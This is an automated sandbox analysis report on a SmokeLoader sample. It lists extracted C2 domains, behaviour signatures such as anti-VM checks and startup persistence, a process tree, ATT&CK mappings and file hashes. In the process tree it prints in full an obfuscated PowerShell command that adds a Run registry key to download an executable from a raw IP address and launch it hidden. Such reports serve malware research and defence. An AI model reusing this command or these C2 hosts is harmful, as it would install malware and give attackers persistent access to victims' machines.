Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    13-08-2021 08:23

General

  • Target

    30f2c758856b663384d5a97b23b8fac0.exe

  • Size

    180KB

  • MD5

    30f2c758856b663384d5a97b23b8fac0

  • SHA1

    0873ea2d0f372b0ec99d83f070a91298a703647f

  • SHA256

    d1437362d37dc932bf84da2329a3e96bbdb799ab420d634ee5bc252a6d5d9f2d

  • SHA512

    c702fe2f5fb9ae9614cd212a9ac785673510a6b6afcf80a04e82163653b4417a811acd27ff72b76b75ebcd6998bafba87b9376de8fdf17190b4cb04d72cf24ea

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\30f2c758856b663384d5a97b23b8fac0.exe
    "C:\Users\Admin\AppData\Local\Temp\30f2c758856b663384d5a97b23b8fac0.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1104
    • C:\Users\Admin\AppData\Local\Temp\30f2c758856b663384d5a97b23b8fac0.exe
      "C:\Users\Admin\AppData\Local\Temp\30f2c758856b663384d5a97b23b8fac0.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2040
  • C:\Users\Admin\AppData\Local\Temp\33EC.exe
    C:\Users\Admin\AppData\Local\Temp\33EC.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:784
  • C:\Users\Admin\AppData\Local\Temp\37E3.exe
    C:\Users\Admin\AppData\Local\Temp\37E3.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      PID:1208
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
          PID:1956
    • C:\Users\Admin\AppData\Local\Temp\3AB2.exe
      C:\Users\Admin\AppData\Local\Temp\3AB2.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:856
      • C:\Windows\SysWOW64\cmd.exe
        cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
        2⤵
        • Drops startup file
        PID:2008
    • C:\Users\Admin\AppData\Local\Temp\3E0D.exe
      C:\Users\Admin\AppData\Local\Temp\3E0D.exe
      1⤵
      • Executes dropped EXE
      PID:468
    • C:\Users\Admin\AppData\Local\Temp\4780.exe
      C:\Users\Admin\AppData\Local\Temp\4780.exe
      1⤵
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      PID:1720

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Virtualization/Sandbox Evasion

    1
    T1497

    Discovery

    Query Registry

    3
    T1012

    Virtualization/Sandbox Evasion

    1
    T1497

    System Information Discovery

    4
    T1082

    Peripheral Device Discovery

    1
    T1120

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\Runtimebroker.exe
      MD5

      fcce9e904debca11888ba8898e9dca46

      SHA1

      fe1b574c5ad4db3d544708cc409357116f8638fc

      SHA256

      859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

      SHA512

      cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

    • C:\ProgramData\Runtimebroker.exe
      MD5

      fcce9e904debca11888ba8898e9dca46

      SHA1

      fe1b574c5ad4db3d544708cc409357116f8638fc

      SHA256

      859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

      SHA512

      cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

    • C:\Users\Admin\AppData\Local\Temp\33EC.exe
      MD5

      a69e12607d01237460808fa1709e5e86

      SHA1

      4a12f82aee1c90e70cdf6be863ce1a749c8ae411

      SHA256

      188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

      SHA512

      7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

    • C:\Users\Admin\AppData\Local\Temp\37E3.exe
      MD5

      fcce9e904debca11888ba8898e9dca46

      SHA1

      fe1b574c5ad4db3d544708cc409357116f8638fc

      SHA256

      859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

      SHA512

      cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

    • C:\Users\Admin\AppData\Local\Temp\37E3.exe
      MD5

      fcce9e904debca11888ba8898e9dca46

      SHA1

      fe1b574c5ad4db3d544708cc409357116f8638fc

      SHA256

      859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

      SHA512

      cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

    • C:\Users\Admin\AppData\Local\Temp\3AB2.exe
      MD5

      b19ac380411ed5d8b5a7e7e0c1da61a6

      SHA1

      9665c20336a5ce437bbf7b564370bfa43e99954c

      SHA256

      aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

      SHA512

      73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

    • C:\Users\Admin\AppData\Local\Temp\3AB2.exe
      MD5

      b19ac380411ed5d8b5a7e7e0c1da61a6

      SHA1

      9665c20336a5ce437bbf7b564370bfa43e99954c

      SHA256

      aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

      SHA512

      73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

    • C:\Users\Admin\AppData\Local\Temp\3E0D.exe
      MD5

      5707ddada5b7ea6bef434cd294fa12e1

      SHA1

      45bb285a597b30e100ed4b15d96a29d718697e5e

      SHA256

      85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

      SHA512

      91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

    • C:\Users\Admin\AppData\Local\Temp\3E0D.exe
      MD5

      5707ddada5b7ea6bef434cd294fa12e1

      SHA1

      45bb285a597b30e100ed4b15d96a29d718697e5e

      SHA256

      85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

      SHA512

      91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

    • C:\Users\Admin\AppData\Local\Temp\4780.exe
      MD5

      717d65dba56f47e540dca074c3977b3d

      SHA1

      d58aa30f826f41663e693f0ad930fdce584f1672

      SHA256

      61fb1160ae372d9ba1c95400d5439450c6a66cdf073fa50ee2d5d10c4952cbb3

      SHA512

      b06e4358411eb8f6315c574922c021bd57218b3e6a0ed727df6b44e20e7818d40fb0347050ce9145ea7e0fd56a7fa93a2358e524c0df030d6d44067c7c83510d

    • C:\Users\Admin\AppData\Local\Temp\s.bat
      MD5

      4d83a544fec575a9072c68c02cb7b87b

      SHA1

      c71d1dd4877e5b7c6c8872121960de899b33e895

      SHA256

      a861d8ddc43b971262c6a0a5951b2bce303000ac1f55dbfd64f213595e24c3e9

      SHA512

      2b913b99cd9f4a49126ad424f8945760b0ece7d0b516c412f5abf91f6bfba1780f2642e5718551c01802d6e6326fc5451a5166baf5da69a16b92292b91bbfc1d

    • \ProgramData\Runtimebroker.exe
      MD5

      fcce9e904debca11888ba8898e9dca46

      SHA1

      fe1b574c5ad4db3d544708cc409357116f8638fc

      SHA256

      859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

      SHA512

      cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

    • \ProgramData\Runtimebroker.exe
      MD5

      fcce9e904debca11888ba8898e9dca46

      SHA1

      fe1b574c5ad4db3d544708cc409357116f8638fc

      SHA256

      859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

      SHA512

      cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

    • memory/468-86-0x0000000000320000-0x0000000000321000-memory.dmp
      Filesize

      4KB

    • memory/468-92-0x0000000004B10000-0x0000000004B11000-memory.dmp
      Filesize

      4KB

    • memory/468-82-0x0000000000000000-mapping.dmp
    • memory/784-65-0x0000000000000000-mapping.dmp
    • memory/788-73-0x00000000043C0000-0x00000000043FB000-memory.dmp
      Filesize

      236KB

    • memory/788-69-0x0000000000000000-mapping.dmp
    • memory/788-75-0x0000000000400000-0x0000000002C7D000-memory.dmp
      Filesize

      40.5MB

    • memory/856-98-0x0000000004D50000-0x0000000004F61000-memory.dmp
      Filesize

      2.1MB

    • memory/856-99-0x0000000000400000-0x0000000002D86000-memory.dmp
      Filesize

      41.5MB

    • memory/856-88-0x0000000003190000-0x00000000033D3000-memory.dmp
      Filesize

      2.3MB

    • memory/856-74-0x0000000000000000-mapping.dmp
    • memory/856-91-0x0000000000400000-0x0000000002D86000-memory.dmp
      Filesize

      41.5MB

    • memory/1104-63-0x0000000000220000-0x000000000022A000-memory.dmp
      Filesize

      40KB

    • memory/1208-79-0x0000000000000000-mapping.dmp
    • memory/1208-85-0x0000000000400000-0x0000000002C7D000-memory.dmp
      Filesize

      40.5MB

    • memory/1256-64-0x0000000002A30000-0x0000000002A46000-memory.dmp
      Filesize

      88KB

    • memory/1720-95-0x00000000011C0000-0x00000000011C1000-memory.dmp
      Filesize

      4KB

    • memory/1720-89-0x0000000000000000-mapping.dmp
    • memory/1720-97-0x0000000000660000-0x0000000000661000-memory.dmp
      Filesize

      4KB

    • memory/1956-105-0x0000000000000000-mapping.dmp
    • memory/1956-111-0x0000000000CC0000-0x0000000000CC1000-memory.dmp
      Filesize

      4KB

    • memory/1956-107-0x00000000007A0000-0x00000000007A1000-memory.dmp
      Filesize

      4KB

    • memory/1956-108-0x0000000004A60000-0x0000000004A61000-memory.dmp
      Filesize

      4KB

    • memory/1956-110-0x0000000002630000-0x000000000327A000-memory.dmp
      Filesize

      12.3MB

    • memory/1956-109-0x0000000002630000-0x000000000327A000-memory.dmp
      Filesize

      12.3MB

    • memory/2008-101-0x0000000000000000-mapping.dmp
    • memory/2040-60-0x0000000000400000-0x0000000000409000-memory.dmp
      Filesize

      36KB

    • memory/2040-62-0x0000000075561000-0x0000000075563000-memory.dmp
      Filesize

      8KB

    • memory/2040-61-0x0000000000402E1A-mapping.dmp